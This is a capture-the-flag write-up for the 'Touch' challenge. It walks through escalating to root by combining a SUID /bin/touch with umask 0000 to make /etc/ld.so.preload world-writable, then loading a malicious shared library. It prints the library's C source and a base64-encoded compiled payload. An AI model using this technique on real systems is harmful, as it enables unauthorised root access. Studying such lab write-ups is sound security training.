Challenge Touch
This challenge consists of elevating privileges to root in a restricted environment and the solution consists of manipulating file permissions through the umask command and exploiting a misconfigured SUID binary to inject a malicious shared library.
Upon connecting to the target machine, the initial reconnaissance reveals a highly restricted environment. The shell complains about not being able to set the terminal process group and having no job control.
$ nc 154.57.164.70 31761
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
ctf@ng-453332-misctouchmp-enubp-6b5d86459d-v4sfd:/$
Listing the files in the root directory indicates that all directories and files are owned by the root user. Checking the current user identity confirms that the shell runs as the ctf user, meaning there are no files or folders owned by the current user in the immediate environment.
$ ls -la
total 4
drwxr-xr-x. 1 root root 17 Jun 23 15:01 .
drwxr-xr-x. 1 root root 17 Jun 23 15:01 ..
drwxr-xr-x. 1 root root 19 Aug 1 2022 bin
drwxr-xr-x. 2 root root 6 Mar 19 2022 boot
drwxr-xr-x. 5 root root 340 Jun 23 15:01 dev
drwxr-xr-x. 1 root root 19 Jun 23 15:01 etc
drwxr-xr-x. 1 root root 17 Aug 2 2022 home
drwxr-xr-x. 1 root root 30 Aug 1 2022 lib
drwxr-xr-x. 2 root root 34 Aug 1 2022 lib64
drwxr-xr-x. 2 root root 6 Aug 1 2022 media
drwxr-xr-x. 2 root root 6 Aug 1 2022 mnt
drwxr-xr-x. 2 root root 6 Aug 1 2022 opt
dr-xr-xr-x. 1125 root root 0 Jun 23 15:01 proc
drwx------. 1 root root 22 Aug 2 2022 root
drwxr-xr-x. 3 root root 30 Aug 1 2022 run
drwxr-xr-x. 2 root root 4096 Aug 1 2022 sbin
drwxr-xr-x. 2 root root 6 Aug 1 2022 srv
dr-xr-xr-x. 13 root root 0 May 1 00:09 sys
drwxrwxrwt. 2 root root 6 Aug 1 2022 tmp
drwxr-xr-x. 1 root root 41 Aug 1 2022 usr
drwxr-xr-x. 1 root root 17 Aug 1 2022 var
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
Faced with the restriction of not owning any directories, a standard approach is to search for binaries with SUID (Set Owner User ID) permissions. Such files execute with the privileges of their owner (in this case, root), which can often be leveraged for privilege escalation.
$ find / -perm -4000 2>/dev/null
/bin/mount
/bin/su
/bin/touch
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
The output highlights that /bin/touch has SUID permissions. This is an unusual configuration. Since touch creates files or updates their timestamps, and it runs as root, it can be manipulated to create files anywhere on the filesystem. However, simply creating an empty file as root does not grant execution privileges. To verify if file permissions can be controlled, the umask command can be used. By setting the umask to 0000, any newly created file will have world-writable (666) permissions.
$ umask 0000
Testing this theory by creating a file in the /tmp directory confirms the misconfiguration.
$ /bin/touch /tmp/test.txt
$ ls -la /tmp
total 0
drwxrwxrwt. 1 root root 22 Jun 23 15:23 .
drwxr-xr-x. 1 root root 28 Jun 23 15:01 ..
-rw-rw-rw-. 1 root root 0 Jun 23 15:23 test.txt
The created file test.txt possesses -rw-rw-rw- permissions. This implies that any file created with the SUID /bin/touch binary will be writable by the ctf user. This behavior can be exploited to create a world-writable /etc/ld.so.preload file. The /etc/ld.so.preload file is used by the dynamic linker to load specified shared libraries before any others, for all dynamically linked executables. By injecting a custom library into this file, code execution as root can be achieved when any SUID binary is run.
To exploit this, a malicious C shared library must be crafted. The library needs a constructor function, which runs automatically when the library is loaded. This function will clean up the /etc/ld.so.preload file to prevent breaking the system, set the user and group IDs to root, and spawn a shell.
$ cat exploit/exploit.c
__attribute__((constructor))
static void pwn(void) {
unlink("/etc/ld.so.preload");
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-p", NULL);
}
int main(void) { return 0; }
The code is then compiled into a shared library.
$ gcc -shared -fPIC -o exploit.so exploit/exploit.c
To transfer the compiled binary to the remote target, it is compressed and encoded in Base64 format locally.
$ gzip -9 -c exploit.so | base64
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
/g+eiXcQv+v9C8+W/kroPAAA
On the target machine, the base64 string is decoded and decompressed to reconstruct the shared library in the /tmp directory.
$ echo "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" | base64 -d | gunzip -c > /tmp/malicious.so
With the payload ready, the environment is primed for the exploit. Ensuring the umask is set appropriately, /etc/ld.so.preload is created using the SUID /bin/touch binary.
$ umask 0000
$ /bin/touch /etc/ld.so.preload
Checking the permissions of the newly created file confirms it is world-writable, allowing any user to add content to it.
$ ls -l /etc/ld.so.preload
-rw-rw-rw-. 1 root root 0 Jun 23 16:16 /etc/ld.so.preload
The absolute path of the malicious shared library is then written into /etc/ld.so.preload.
$ echo "/tmp/malicious.so" > /etc/ld.so.preload
To trigger the execution of the injected code, a dynamically linked binary with SUID permissions must be executed. Since /bin/touch possesses SUID permissions, executing it will force the dynamic linker to load the malicious shared library with root privileges.
$ /bin/touch /tmp/pwned
The constructor function in the shared library spawns a new shell. A quick verification confirms that the current user is now root.
$ whoami
root
With administrative access secured, the final flag can be retrieved from the root directory, concluding the challenge.
$ cd root
$ cat flag.txt
HTB{FLAG}